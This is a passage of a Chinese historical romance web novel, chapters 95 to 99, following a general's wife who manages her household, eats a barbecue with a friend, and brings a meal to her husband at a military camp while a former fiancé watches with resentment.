江姨娘还在哭诉着,冷不丁瑞王来了句:“官银的事情才刚刚消停,陛下原本罚你禁足,这一次秋猎本王还是求了陛下带你一同出来散心;并非本王辜负,实在是你有大错在先,能压住不外传已是万幸,你道那些京中贵族、世家高门不知晓么?” 闻言,她有些哭不下去了,心虚地低头。 第95章归来,大分野味 见她这样,瑞王心中叹息,忍不住又放软了语气:“你乃妾室出身,陛下已经回绝了给你请封的恳求,事已至此,莫要强求。” “本王知晓你担心什么,但你摸着良心说说,这些年在府里谁能越得过你去?你虽无正妃之尊,但实际上已经掌握内宅大权,还有什么不够的么?” 这是第一次,他同她将话挑明。 江姨娘耷拉着脑袋,咬唇不语。 见她这样,瑞王也觉得挺没意思的。 感觉当年那个冒死救下全家女眷,又以身护着孩子的江姨娘已经变了,从前的她根本不会在意这些;正因其心胸开阔,性子宽厚,人品高洁,她才会得到瑞王妃的信任,真真正正拿她如亲姊妹一样看待。 若无这样的信任,当初她们必定九死一生,怕是一个都逃不出来。 是啊,怎么就变了呢…… 瑞王有些想不明白。 待他离去,一直沉默不语的江姨娘抬起眼,那原本清丽温柔的眼底酝酿着一股阴森的狠厉。 只听她咬牙切齿,冷冷低语:“哼!你们男人要权势要财帛那叫一个理直气壮,凭什么轮到我了就不成?官银的事情都过去了,还想怎么样?!难道过去的功绩恩德就可以一笔勾销么?” “呸,做梦!你也是个忘恩负义的东西,不得好死,全都不得好死!!” 启程那一日,又是个绝好的天气。 虞声笙心满意足地看着自家车队,一提裙摆,欢快地坐进了马车。 闻昊渊依旧骑马护卫在周围。 看样子回程的路上,陛下身边另有人守着,闻昊渊才有机会陪着妻子一道。 虽不能常常说话,但时不时撩起帘子对视一眼,这一眼的欢喜温柔就已足够。 半路上,男人采了一捧野花送给她。 虞声笙见了那一捧,或白或蓝或黄,倒也新鲜有趣,便顺手接过理了理:“好看,这两样是可以入药的。” “你懂药理?这是什么草药?”闻昊渊好奇。 “我哪懂什么药理,不过是从前看村子里的赤脚大夫用过,这两样可以解毒消肿,很好用的。”她大大方方笑道。 “好。” 后来回府,虞声笙才发现这男人竟背着自己将那些草药连根拔起,带了回来。 仔细瞧瞧,全都是她说过得用的草药。 虞声笙哭笑不得。 还从有人这样将她的话放在心上呢,就这么随口一句,这男人竟能做到这份上…… 回程的路上并非始终太平。 第二日就下起雨来。 这场秋雨一直下到了他们抵京。 在绵绵不断又清冷微凉的秋雨中,叶贵妃病倒了。 还好,皇帝的銮驾已经进了皇城,很快太医院的众人就得宣召入宫候着,替叶贵妃诊治。 虞声笙听闻了这个消息,耸耸肩:“人啊,还是不能做亏心事。” “谁做亏心事了?” “某个母亲吧。” 她不想深究这个话题,也不想告诉闻昊渊。 有些事情知道的人越少越好。 雨下得大,她张罗着奴仆们将出行的行装箱笼打点妥当,又将那些带回来且已经处理过的野味一一入库放好,忙完这些,虞声笙才进了净房,泡在暖暖的水中,阖目小憩。 屋中亮着几盏烛火,闻昊渊早已更衣沐浴完毕,这会子正着里衣坐在灯下不知写些什么。 她端起一盏灯走过去,给丈夫添了点儿亮。 再一瞧,发现他写的却是折子。 “明儿就正式早朝了?也不歇两日的……”虞声笙感慨。 “都出门玩了大半个月了,歇不了的。” 闻昊渊低头写着,口中却道,“我还有一会儿,你困了就去睡;对了,我已经吩咐奴仆们,明日起先将暖阁收拾出来,我瞧见咱们库房里还有几架槅扇,你瞧着弄多大的好?” 槅扇是可以自由拆卸的。 暖阁也可以用这些槅扇依着主人的想法随意拼搭。 虞声笙原先在虞府时,每年入冬前就见张氏吩咐下人们做过。 只不过,张氏的东厢房地方不大,隔出来的暖阁也很小,只够放下一张床,一套桌椅罢了。 至于自己原先在娘家的住处,那是没有暖阁的。 “唔,我想要大一点,人睡在里头也畅快自在些,不过……暖阁要是框得太大了,反倒不聚气也不暖了。”她有些遗憾。 就连安置一个暖阁都不能做到两全其美。 “不妨事,回头起了地龙,一样能暖的。”闻昊渊笑道。 “也是,不过给姑母那边还是弄小些,姑母年岁上来了,身边还有两个小的,是断断不能着凉受寒的。” “你说的是。” 商量过后,虞声笙打着哈欠先去睡了。 翌日一早起来,身边哪里还有男人的踪影。 她感慨着当官也不容易,利落地起身洗漱,开启了当家主母一天的工作。 午饭时,她与黎阳夫人凑在一处。 “你送了这般多的野味来,当心我们老的老小的小吃不完,再费了你一番心意。”黎阳夫人笑道。 “辉哥儿桂姐儿也大了,正是长身体的时候呢,且冬日里就是要吃些肉什么的肚子里才有油水,不然出门冻得连手都伸不开,整个人团在一处,如何见人呢?” 虞声笙笑眯眯,“您若担心吃不完,那我多过来几趟帮帮忙就是了,姑母可要惦着我的好才是。” 黎阳夫人和两个小的都被逗笑了。 黎阳夫人心头又暖又涩。 感慨自己活了大半辈子,临到老了还千里迢迢投奔,原本忐忑不安,如今却也越来越好了。 无论侄子还是侄媳妇,都是厚道宽仁之人,再没有不好的。 午饭过后,虞府也收到了虞声笙送来的野味。 张氏打点着,脸上笑开了花:“瞧瞧,瞧瞧,野兔子,獐子,哎哟……这还有熊掌、羊羔子!啧啧啧!这可不比庄子上孝敬的年礼差哟,咱们声笙还是记着娘家的。” “这是自然。”虞正德觉得自己教导有方,面上有光。 儿媳郑秋娥莞尔:“四妹妹这般孝顺,又关爱家人,当真是极好的;正好,我娘家也送来了入秋的好些特产,回头我也给四妹妹捎去一些,也叫她尝尝鲜。” “好好。”虞正德捋着胡须,只觉得家中晚辈互敬互爱、互相帮衬,简直暖到了心坎里,一时间心满意足,再无遗憾。 张氏道:“那你多拿一些,对了,前些时日送来的那几味果子也给拿去一些,我记着你四妹妹爱吃。” 郑秋娥温柔应下。 一家人正说着,忽儿门房来报,说是张府又来人了。 虞正德端着茶水吃着,装作没听到。 郑秋娥垂眸,乖乖立在婆母身后,也装聋作哑。 这不是张府第一次来人了,自打大儿子出了事,他们就没消停过,隔三差五地过来闹,非要张氏帮忙,或是给个说法。 先前有一次,张老太太亲自过来,闹得是满府鸡飞狗跳。 这老太太病歪歪的,可一旦涉及到宝贝儿子,她就战斗力爆棚,直接操起一把刀对准自己的脖颈,威胁女儿若不让自己逞心如意,她就死在虞府! 那一天闹得,所有人都刻骨铭心,想起来就一阵后怕。 第96章暖阁 张氏一开始确实也被吓住了。 看着母亲苍老的容颜,已经花白的鬓发,还有那双几乎癫狂的眼睛里透出来的猩红,她顿觉一阵委屈伴随着怒火漫上心头。 她立马跳起来,有样学样,也拿起一把刀抵着自己,嘶吼道:“好好,您要是血溅当场,女儿今日也不活了!横竖都是一死,我这条命赔给你,赔给大哥!” 她边说边落泪,望着门外又惊又怒的丈夫,哽咽着交代后事,“我要是没了,还请你替我料理,对外就说我们母女二人同一日发了急病,不治归西!” 虞正德气坏了。 想想自己一家子小心翼翼过到今日,从巅峰跌至谷底,好不容易有些起复,眼瞅着日子渐渐好了,又冒出一个不成器的大舅子拖后腿! 他不冤吗? 虞府不冤吗? 难道张耀祖有今天,是虞府一手造成的吗? 一向温吞的文官被逼急了,他上前一把夺走张老太太手里的刀,厉声呵斥:“岳母这般不讲理,是瞧着我虞家无人了么?好好,今日我便拉你去御前告上一状,叫圣上来评评理!!” 说罢,他就死死拽着张老太太的袖子,要将其拖出门。 老太太原本就是吓唬张氏来的,哪里真想过去告什么御状。 况且……这事本就是她无理取闹在先,真要告了,张耀祖怕会罪上加罪,再多一层刑罚。 见女婿气得面色铁青,力道之大,根本挣脱不开,老太太终于有些怕了,语气腾地一下软乎了下来,一口一个好姑爷地喊着,总算让虞正德略微消气,将人拖到屏风处才松开手。 荀妈妈是个厉害的。 见老太太松缓下来,她忙上前接走了自家老爷手里的刀,又扶着张氏坐了下来,顺手将她那一把也带走。 眼瞅着局面平和下来,也无凶器在手,一屋子人总算松了口气。 尤其是郑秋娥。 她靠着婆母最近。 刚刚那一下,着实把她吓得不轻。 见荀妈妈出手了,她又是感激又是欣慰,忙不迭地奉茶给张氏,又取了软和的垫子来给张氏靠着腰,这一番动作下来,母女二人只剩下相对无言,惟有泪千行了。 这一次过后,张老太太许久没有登门。 也不知这回来,所为何事。 到底是自己亲娘,张氏怎能视而不见?虞正德也没有将岳母关在门外的习惯,夫妻二人对视一眼,还是让下人腾出正厅,将张老太太引去那头。 郑秋娥正犹豫着要不要跟上一块去,却听张氏吩咐自己:“过会子人家会送冬日里的皮毛布匹料子来,你看一眼,核对一下单子,别叫人家弄了什么粗制滥造的来迷了咱们的眼。” 郑秋娥忙福了福:“是,母亲。” 目送他们离去,她结结实实松了口气。 身边的陪嫁丫鬟木蝶忙小声问:“奶奶,咱们不去了么?” “咱们去什么,把太太吩咐的事情办好才是要紧。”郑秋娥很分得清轻重缓急。 入秋后,大户人家裁剪冬装也是一件大事。 上到主子,下到奴仆,有条件且厚道的东家自会置办齐整周到,不叫外头说一句苛待下人。 张氏隔个两三年便会给府里下人们做一身新。 今年,大奶奶嫁进府里,这事儿便落到了郑秋娥的身上。 这是这位新媳妇走马上任后负责的第一桩事务,自然要比什么不着调的外祖母到访更重要。 她打起精神来,命人去取了历年的布匹账册,正式接手。 话分两头,另一边的张老太太已经到了正厅。 这儿是虞府接待正式客人所用的地方。 布置典雅大气,处处都颇有诗画文人的风采,且瞧那一排摆设的多宝阁便知,上头古玩摆件不多,却件件精巧用心,更有深意。 张老太太肚子里墨水不多,压根领会不到虞正德的用心。 她只知道,原先自己来虞府都是直接去女儿的东厢房的。 自从那一次闹过后,再来虞府,居然就被领到了正厅。 这意味着什么? 意味着女儿跟她生分了! 连自己所居的处所都不愿让这个亲娘踏足一步。 张老太太有些心酸,咬着牙忍耐。 见到女儿女婿来了,她也没多兜圈子,直接表明自己的来意。 横竖张耀祖坐牢已经是板上钉钉的事实,任凭怎么闹都无济于事,张老太太回去唉声叹气了一段时日,终于接受了这个现实;这回来,她是想托女儿给牢狱里的儿子送些可以御寒的衣物。 “地牢暗无天日,不知有多冷,你兄长也不是弱冠之年的大小伙了,如何能撑得住?还望你念着兄妹情分,帮他一把……” 张老太太将早就收拾好的包袱推给闺女。 张氏不用看都知道这个包得鼓鼓囊囊的行装里装了什么。 她面不改色:“母亲放心,他毕竟是我大哥,哪能真的不管,东西放下,我回头会看着办的。” “你可要送得及时些,这天说冷就冷下来了,别叫他冻着;还有,多塞些银钱给那些狱卒,有他们照顾着,你大哥的日子也能好过些。” 说着,张老太太又忍不住要抹泪了。 张氏有些看不下去,扭头看向紧闭的窗户,装作那头有引人入胜的好风景。 最后打圆场的任务落到了虞正德的肩上。 一番好言好语地兜圈子,总算将岳母安抚住,送出了府门。 张氏这才叹息道:“从小就知道爹娘偏心,如今我都这个年岁了,都能做祖母的人了,居然还这样……” 虞正德刚想宽慰几句,下一刻又听张氏满是幸灾乐祸道,“哼,疼了大半辈子的儿子却是个扶不起的阿斗,瞧瞧我儿子多出息多能干多孝顺,痛快!” 虞正德:…… 他垂眸不语,还是不说什么了吧。 老妻别的没有,从不为难自己这一点当真是绝妙。 威武将军府。 安园,顺园两头的暖阁同时开工。 虞声笙亲自挑选了槅扇,先命工匠送去黎阳夫人处,依照原先与姑母商量好的开始隔断。 那槅扇一字排开,又高又厚,很快就将黎阳夫人的卧房分成了两部分。 靠在里头的一部分便是暖阁。 可以放下两张床榻,一套桌椅,还有一方香案,以及靠墙装饰的半人高的多宝阁,多宝阁上悬挂着几幅字画,另有一只高脚梅花的架子立在一侧,上头摆着一玉净花瓶,花瓶左侧,一扇朝南的窗户半支棱开,足以通风换气。 更妙的是,这两张床榻是对着墙角而设。 黎阳夫人与孩子们分床而睡,夜里有个什么动静,她一睁眼便能瞧见。 槅扇的外头,虞声笙也让人重新安置了床榻、暖笼等物,也是一样的两张床,这是给值夜的丫鬟婆子们睡的。 黎阳夫人感慨:“谁家下人还能睡的这样好的,难为你破费了……” “话可不能这样说,下人也是人,冬日里自然也会冷,要想伺候得当舒坦,就得从根本解决问题,您说是不是这个理?” 虞声笙巧笑嫣然。 黎阳夫人恍然大悟:“你说的确实如此。” 暖阁刚布置好,大学士府的拜帖就送到了。 郭文惜要在明日未时初过来拜访,顺便给她带来了野蜂蜜。 第97章友谊的小花 自从秋猎归来,郭文惜实打实地安分了好一阵子。 在府中整日钻研女红刺绣,要么就是跟着母亲读书练字,好好培养自己的文学素养,怎么说也是大学士府的千金小姐,若连这点本事没有,出去岂不是给父亲丢人? 郭文惜天资平平,于读书这一项上实在是弱得紧。 但她还算刻苦用功,也很认真。 起码态度这一项上就令老父亲很是宽慰。 又见女儿秋猎归来,整个人像是突然长大了,褪去了原先的浮躁,变得温柔和气许多,郭大人捋着胡须,笑得都比从前年轻了几分。 私底下他没少跟妻子嘀咕:“文惜是大孩子啦,我也可放心啦。” 是以,当白夫人与公婆回话,交代了秋猎之行的种种,他们既欣慰又感慨——人果然还是要经受磨炼,方能有一番造化。 哪怕是女儿家,也一样。 听闻女儿要自家庄子上的野蜂蜜,郭大太太细细一问,原是女儿跟威武将军夫人约好了的,忙不迭让身边的亲信管事专程跑了一趟,带了足足三罐野蜂蜜回来。 郭文惜心满意足,美滋滋地给虞声笙下了拜帖。 得了威武将军府那头的回应后,她又紧赶慢赶地挑了明日要穿的衣衫。 因是要去与虞声笙一同共享美味,郭文惜选了窄袖利落的款式,一身暗暗的枣红,瞧着低调又不失身份,恰到好处。 翌日出门时,好巧不巧地碰上了徐诗敏的马车。 郭文惜仿若迎头被浇了一盆冷水,有些笑不出来。 两家马车相向而立,比肩停稳,徐诗敏撩起帘子笑问:“文惜妹妹这是要去哪儿呀?” 郭文惜礼貌回应:“我与威武将军夫人约好了,要去她府上小聚,今儿就没空与大奶奶你说话了。” 闻言,徐诗敏眸色微沉,笑容不改:“真没想到,你与那位夫人如今倒是合得来……” “都是人,又都是女眷,哪有合不来的?原先不过是了解不够,如今瞧着人家将军夫人为人爽朗直白,相处起来没有那么多弯弯绕绕的,更对我的胃口呢。”郭文惜似乎另有所指。 不待徐诗敏再问两句,对方就放下了帘子,让车夫让开一些,叫徐诗敏先过去。 “大奶奶,你先请。” 徐诗敏咬紧银牙,只好笑笑自己打圆场:“如此多谢妹妹了,改日我再与妹妹聚一聚,咱们闺阁相识,姐妹情深,定是要常来常往的。” “改日再说,大奶奶,请。” 没法子,徐诗敏只好先行。 马车走出去老远,她面上的寒霜依旧冷得可怕。 盈袖在一旁见了,愣是不敢开口。 郭文惜准时抵达威武将军府,献宝似的将三罐野蜂蜜送到虞声笙面前。 打开一闻,果真馥郁甜香,非同一般。 “你别瞧着这个显得浑得很,但吃起来能甜到你心里,每年我家庄子上产的都不多,这些就占到两三成啦!” 郭文惜满脸雀跃,好像再说“看我对你好吧”! 虞声笙哪有不明白的。 取了小碟与调羹,取了一点子蜜来尝尝,她眯起眼赞道:“果真不错,你这份情我领了,回头我有好东西必忘不了你。” 有了上好的野蜂蜜,虞声笙命奴仆们在后花园一空旷处支起架子与炭火,还让厨房备了各种调味伺候在一旁,她领着郭文惜在一片蓝天白云下,美滋滋地烤獐子肉吃。 她还亲自请了黎阳夫人领着辉哥儿桂姐儿一块来。 秋日里微凉的暖风徐徐吹着,一片艳阳照得每个人身上都暖烘烘的。 不消一会儿,那獐子肉便烤好了。 经虞声笙处理过的獐子肉烤出来更香浓,刷上蜂蜜后,这份浓郁简直达到了顶峰。 即便吃惯了田间野味的虞声笙都不得不赞叹——实在是太够味了。 就连一向谨慎守礼的黎阳夫人尝到第一块,都有些停不下来,忍不住又连用了两三块。 一旁早有丫鬟备好了清新解腻又暖脾胃的茶候着,吃上半盏,顿觉心胸开阔,口齿留香。 耳边是虞声笙正在描述她的宏图大业:“等来年春天,我要在这儿种一片花林,往后开起来姹紫嫣红,好看得紧呢!到时候,咱们也像今日这般,吃吃喝喝、说说笑笑,岂不美哉?” “好!”郭文惜率先支持,“我还可以带上我爹藏的佳酿,声笙,醉春罗你喝过没有?” “没有。” “等下回我给你捎一壶,叫你尝尝鲜。” “那我可就等着了。” 辉哥儿桂姐儿今日也是开了荤了。 从未这般新奇好吃过,兴奋得两个孩子双眼放光,直吃得满嘴是油,都停不下来。 过了一会儿,辉哥儿凑到虞声笙耳边,小声询问:“婶母,我能拿一点去给昀哥儿吃么?” “为什么想要给昀哥儿吃呢?”她故意问。 “我拿昀哥儿当好朋友来着,既是好朋友,有好东西就该分享啊。”辉哥儿说着,小脸涨红。 虞声笙笑了,让金猫儿拿了一小碟片好的烤獐子肉过来。 “喏,拿去给你的朋友吧。” 辉哥儿笑开了花,忙端着就往拱门外跑,急得身后跟着的婆子丫鬟差点没追上。 黎阳夫人担忧地看去。 虞声笙:“姑母别担心,下人们跟着呢,今儿天气好,就让孩子们跑跑跳跳的,回头让屋子里先起了暖笼,保管不会染了风寒。” “你向来周全,听你的便是。” 一会儿功夫,辉哥儿果然回来了。 那一碟子烤獐子肉送了出去,孩子明显兴致颇高。 郭文惜新奇地看着眼前这一幕,只觉得虞声笙年纪虽轻,竟能在这么短的时间内将偌大的将军府打点得井井有条,更能与刚见面没多久的长辈如此融洽,就连两个孩子对她都很亲昵依赖。 再看看她本人,依旧云清风淡,毫不费力。 好像眼前一切皆在她预料之内。 能做到这份上,足以证明虞声笙的能力。 回想起从前徐诗敏在她跟前曾若有似无说过虞声笙懦弱无能,无德无才之类的话,郭文惜就觉得十分可笑。 半日聚会结束,虞声笙还让郭文惜带了好些烤獐子肉回去,与父母兄嫂共享。 人都已经上了马车,郭文惜又依依不舍从窗前探出脸来,无比真诚道:“从前我只是个眼瞎心盲的,却不知人与人来往简单真诚方为上,是我错了……往日我多有对不住你的地方,大白话什么的,我也不惜的说,你日后若有用得着我的地方尽管开口!” 虞声笙有些想笑。 她轻轻抿唇:“好。” 送走了郭文惜,没一炷香的功夫,闻昊渊回来了。 “十日后,西郊大营要集训练兵,我与慕淮安都会去。”男人没头没脑地说了这一句。 虞声笙眨眨眼睛:“那……是不是要住在那儿了?” 练兵本就辛苦,每日还要奔波来回,更是精疲力尽。 “嗯,不好说。”男人眼眸深深,似乎想说点别的,话到嘴边又咽了下去。 “尝尝这个,我亲手烤的,喜欢么?”她忙送了一块肉到男人嘴边。 闻昊渊张口吃了:“不错,我媳妇手艺真好。” 第98章他的用意 睡到半夜,闻昊渊又翻身搂着她入怀,咬着耳朵硬是将人给弄醒了,随后在她耳边嘟囔:“我要跟慕淮安同行,你不帮我算一卦就算了,怎么半句话都不问?” 虞声笙一阵莫名,满脑袋浆糊。 这一刻还是睡意占据上风。 但她还是敏锐地觉察出男人不太对劲,忙伸手环抱着他:“不用算,每一旬我头一个算的就是你,大吉大利得很,不用慌。” “头一个么?” “嗯,头一个,除了你旁人没这待遇。” 虞声笙边说边眼皮发沉,被窝太舒服,男人的怀抱又太温暖,怎能不催人酣睡? 不一会儿,她又阖眼沉沉坠入了梦乡。 昏暗中,某人的眼睛亮得吓人,口中还在重复着她刚刚的话:“头一个么……” 短短的几个字,被他拆解了似的,从一笔一划中品味出些许甜蜜,终于那份焦躁不安得以安慰,他拥着她安睡。 翌日,待虞声笙忙完了一上午的庶务后,金猫儿过来回话。 “夫人,这是将军早上留下的,刚刚小丫鬟收拾外头屋子时发现的。” 是一封纸签子,大约是闻昊渊留了什么话。 虞声笙顺手接过:“他搁在哪儿了?” “就洋红梅花漆雕的小几上,那一处昨个儿没人用,我让丫鬟们今日擦干净了拿出来晒一晒,却发现了这个。” 打开一瞧,只有几个时辰,还有一个地址。 虞声笙知道,这是西郊大营的具体所在。 不过这男人到底是什么意思呢? 总不可能单独留下一些军机机密吧…… 思来想去,她恍然大悟:“原来是这样!” 垂眸沉思片刻,她忙让厨房的妈妈们忙起来,很快便张罗出了一只装得满满当当的食笼。 同时,门房也已经备好了车马。 虞声笙领着金猫儿今瑶二人出门,留其他的人在府里继续打点。 马车一路直奔西郊大营。 今瑶将食笼稳稳卡在木质凹槽中,有些担忧道:“夫人,这送到了怕是也要凉了……” “无妨。”虞声笙刚草草用了点饭菜,这会子正觉得倦态犯困,半阖着眼睛靠在软枕上,“我睡一会儿,快到了再叫我。” 一句话刚落,她就已经睡着了。 金猫儿与今瑶面面相觑,忍不住笑了。 金猫儿轻手轻脚拿出一方毯子,将另一头递给今瑶,二人协力给虞声笙盖上。 此刻,西郊大营正在练兵。 这是每年入了秋冬之后的惯例,一般都在御驾秋猎之后。 往年负责操练的都是留京的一品或二品武将大员,从三年前起,这项要务就交于慕淮安负责,尤其去年凯旋后,他的风头一时无两,在军中威信很高。 今年又与往年不一样,除了镇国少将军之外,还多了一个超一品军侯之家的闻昊渊。 论品阶,肯定是威武将军府稳稳压了慕淮安一头; 但要说军中威信,还是慕淮安更胜一筹。 别无他因,闻昊渊这些年执行的都是陛下暗中给的任务,一切褒奖都不便表露在明处。 今日上阵操练,慕淮安明显占据上风。 闻昊渊倒是稳如泰山,一直在旁观望,倒也没有与对方争夺的意思。 休息的时候,那些下属军人们总会议论纷纷,所议论之人,正是虞声笙。 “听说了吧,原先一直追在慕小将军身后的那小姐,转身嫁给了闻将军!” “还有呢,那小姐姓虞,可是对咱们慕小将军一往情深,只可惜他们定下婚事足有三四年吧,咱们慕小将军连看她都不看一眼的,嘿嘿嘿。” “那不就是说……闻将军捡了慕小将军不要的女人?” “可不是,我亲眼见过一回,那千金小姐巴巴地给慕小将军送荷包送吃食,逢年过节都有礼,当真是一片真心。” 这些声音揉碎在风中,不断飘得很远。 闻昊渊本就功夫了得,一身的硬本事,更是耳力过人,这些话根本逃不出他的耳朵。 他静静听着,面上不见任何波澜。 慕淮安缓步而来:“你不必放在心上。” 转脸见闻昊渊没吭声,他又继续说,“他们说的这些都是从前的事情了,之前我与声笙确实有婚约在身,那还是陛下指婚。” 闻昊渊淡淡道:“然后呢?” “如今时过境迁,我也娶妻成婚,自然不会再提过去的事情,你们好好把日子过好就成。”慕淮安目视远方,“你……对她好一些,她是个好姑娘。” 闻昊渊眯起眼眸,看似不够精致的眉眼却格外发亮。 他嗤笑两声,刚要爆粗口,却听身后副将一路狂奔过来传话:“将军,夫人来了!!” 闻昊渊赶紧收敛住暴躁的情绪,瞪了慕淮安一眼:“小白脸少说话,我脾气不好,别一会儿踹断了你的骨头你又去陛下跟前哭。” 慕淮安:??? 远处,虞声笙的身影出现。 她的身后是提着食笼的金猫儿和今瑶。 闻昊渊上前,远远将人迎住:“你怎么来了?” 虞声笙心里好笑:不是你留了线索让我来的么?现在还装傻。 她温柔莞尔:“自然是不放心你呀,西郊大营操练辛苦,这儿又比不得咱们府里照顾周到,横竖今日我也没什么旁的事了,就让厨房备了些你爱吃的饭食给你送来。” 这几句话,柔情至极,听得闻昊渊骨头都酥了。 刚要接话,虞声笙又道,“怎么,不欢迎我?要是不欢迎,我这可就回去了,往后再也不来!” 从温柔到俏皮撒娇,不过一瞬的事情。 闻昊渊早就被钓得嘴角翘得停不下来,忙接过食笼,笑道:“怎会不愿,我巴不得天天见你,走,咱们去屋子里头吃。” “好。” 虞声笙挽着他的胳膊,一面走一面说,“我给你带了你爱吃的熏烧鸡,等会儿你可要多吃点。” 经过慕淮安身边,她直接躲在了闻昊渊的侧边,竟一个眼神都没给对方,倒是她身后跟着两个丫鬟很是规矩,还行了礼。 只不过略年长的那个丫鬟眉色疏远,另一个今瑶却面笼冰霜,行礼的姿势也极尽敷衍,几乎把厌恶都摆在脸上了。 慕淮安说不出心底是什么滋味。 明明从前被这样热络对待的人,是他。 而不是另一个男人。 虞声笙一路叽叽喳喳,欢声笑语,给西郊大营带来了一抹独特的风景。 今日她着一身烟柳配淡淡的杏仁白,那白色中还透着明丽的鹅黄刺绣,绣的便是并蒂百花,明艳俏丽的一身,越发衬得虞声笙那张脸肤如凝脂,白得发光,嫣然一笑,生动细致,竟能叫人挪不开眼。 慕淮安目送着他们离去,直到再也看不见,才恍然回神。 拳头早已在自己不知情的时候紧握,关节处隐隐发白。 他咬着牙收回视线,走到刚刚那些议论流言蜚语的人跟前,冷着脸下达命令:“都闲得是吧?一帮大男人学市井妇人嚼舌根,是哪门子的规矩?一个个的,军纪涣散,无视尊卑,给我去领十下军棍,然后继续操练!不到日落,不准停!” 第99章秀个恩爱 操练场上的哀怨虞声笙是半点没听到。 带来的食笼里装了不少好菜,拿出来后竟还都热着。 仔细一瞧,这沉甸甸的食笼里竟另有乾坤。 原本木质的食笼四周隔了一层,里头塞满了一颗颗只有拇指大小的石头,这些石头一个挨着一个,紧紧贴在一块,闻昊渊伸手摸了摸——哟,还是烫的。 “我让人特地制成的食笼,多加了一层,里头塞上这种被火烘烤过的小鹅卵石,可保饭菜不凉,从咱们家里送到西郊大营,一样能让你吃上热乎的。” 虞声笙抿唇一笑。 “你什么时候让人做的?我都不知道。”闻昊渊又惊又喜。 “原先入秋了的时候,我瞧咱们府里那些工匠们手艺巧,我就多问了两句,他们竟能真的做出来,我便让工匠抽空打了两套出来,一套给咱们用,一套给了姑母。” 她笑得眉眼弯弯,“这般好用,回头再请人家打几件留着,再给我娘家送去,这冬日里用来可真便宜,唔,就是重了点。” “不妨事,回头让你屋子里的小厮来提着。” “好呀。” 夫妻二人对坐着,有说有笑。 闻昊渊其实也没怎么饿。 但对着这张生动细致又盎然春色的笑脸,他也胃口大开,与她一道吃吃喝喝,在这气氛紧张的西郊大营中,硬生生酝酿出一股柔情蜜意来。 原先的不快烦闷早就一扫而空。 慕淮安方才说了什么?都不重要,谁还记得? 吃罢了饭,闻昊渊起身:“走,我领你四处瞧瞧。” “我还能瞧瞧这里?” 虞声笙又惊又喜。 “自然,如今又不是战时,没有那么严苛的,再说了你是我婆娘,咱们是正儿八经拜过堂的夫妻,我说能就能。” “好。” 内宅女眷能出门的机会并不多。 就算出门,大多数时候也不可抛头露面,失了不少乡野田间的自由自在。 是以,虞声笙很珍惜每一次出门的机会。 今天更是走了大运了,居然还能参观西郊大营。 闻昊渊瞧着粗,但粗中有细。 他领着虞声笙一路参观过去,还细心与她讲解了很多。 她虽听不太懂,但满脸新奇,越发哄得男人讲得快活,一时都忘了时辰在走。 刚逛到一半,有下属来传话,说是慕将军说下午的操练要开始了,请闻将军回去主持。 被点到名的闻将军浑然不觉,随手一挥:“慕将军能干非凡,一人足矣。” 随意打发了下属,他又领着虞声笙去看收在西郊大营的战胜藏品。 这么一大圈逛下来,她终于觉着有些腿软乏累。 刚要回去休息,却见慕淮安挡在了去路上。 “闻将军,希望你明白,这里是西郊大营,并非供妇孺观赏嬉闹所在,这里兵器众多,稍有不留神伤着了无辜女眷才是不妥。” 慕淮安说着,目光似有若无地掠过虞声笙。 虞声笙半个身子都躲在丈夫后头,打定主意不出面。 闻昊渊淡淡来了句:“知道了,内子也差不多累了,这就要回府歇息。” 虞声笙忙点点头:“你先忙,我回去等你,晚上给你炖一锅热腾腾的豆腐鲜肉粥,你爱吃不?” “好,你安排的我都喜欢。” 她满意了,领着丫鬟们离去。 经过慕淮安跟前时,她没打算见礼。 谁知慕淮安却出声叫住了她:“如今你嫁了人,连规矩都不懂了么?见到兄长不问好不行礼?” 虞声笙诧异地飞快撩起眼眸。 她的反应远比惊愕更快一步,眼神刚到,膝头已经微微弯曲,行了个略带敷衍的礼数:“见过兄长。” 潦草的几个字说完,她便头也不回地离去。 那步伐快的,就好像身后有鬼在追。 金猫儿和今瑶险些要一路小跑才能追上。 这一幕落在其余众人眼中就别有深意了…… 操练休息的空余,有人忍不住窃窃私语。 “我瞧着传言也就是传言,你看看今日闻将军两口子感情多好啊,将军夫人竟还大老远地亲自送吃食来。” “啧啧,我也分到了一些。” “什么时候的事?” “夫人身边的两个丫鬟还带了蜜饯干果糕饼,方才分给了咱们几个,果真好吃,甜津津的!” “你们有好的,居然不告诉咱们!!” “没法子,夫人给的时候你们都不在啊。” “将军夫人瞧着温雅端庄,不像是他们刚刚说的那样……” “可不是,我以后要是有福气能娶到如将军夫人一般的女子做婆娘,我就谢天谢地了。” 慕淮安对视着闻昊渊,一时间情绪复杂,不知说什么才好。 纵容底下的人说出那些话,本就是他故意为之。 这种心态很难描绘,带着隐晦不能见光的兴奋,藏在暗中看这个男人丢脸出丑。 闻昊渊却不看他,从他身边径直经过。 这两口子——还真是如出一辙。 慕淮安紧握拳头,强行将心中的不快压了下去。 翌日一早,闻昊渊便上了一封请罪折子,言明自己一时欢喜忘形,将新婚不久的妻子带去大营参观。 皇帝看后哭笑不得,倒也没治罪,只说让新晋的将军夫人写一张观后感给他瞧瞧。 虞声笙得到消息后,一阵无语。 早知道还有作业,她说什么都不会去的…… 观后感她写得很是认真,几乎拿出了自己全部的墨水,还翻阅了很多书籍,甚至请教了黎阳夫人。 最后呈上去的观后感倒也字迹清晰端正,行文流畅,尽显真情实感。 皇帝看后很高兴,御笔一挥,给了虞声笙好些赏赐。 同这些赏赐一起送达的,还有册封虞声笙为三品淑人的旨意。 负责传旨的公公是陛下身边的亲信,姓何。 念完好长一段听不太懂的骈文后,何公公笑眯眯道:“将军夫人,接旨吧。” “多谢陛下隆恩,愿吾皇万岁万岁万万岁。” 虞声笙双手举过头顶,低眉垂眼,难掩唇边喜悦。 消息传来,张氏先是吃惊,随后一边笑一边摇头:“当真是出息了,我原先瞧着这丫头稳得住,竟是个有大造化的。” 郑秋娥:“还得是母亲教导有方,否则四妹妹也难有这般福气。” 儿媳的话哄得她心花怒放,张氏笑容加深了:“那布匹账册可理明白了?若明白了,明儿拿了对牌钥匙就去账房支银子。” “是,母亲。” 京城的秋冬总是格外干冷。 雨下一场,寒一场。 即便有雨,也干不了从五脏六腑里透出来的干燥。 厨房一早就炖了梨汤。 依着虞声笙的法子,里头额外添了些药草,混合了冰糖陈皮的味道,喝起来倒没有太多汤药的味儿。 闻昊渊喝过一盏,夸得不行。 虞声笙便每日差遣小厮送去西郊大营。 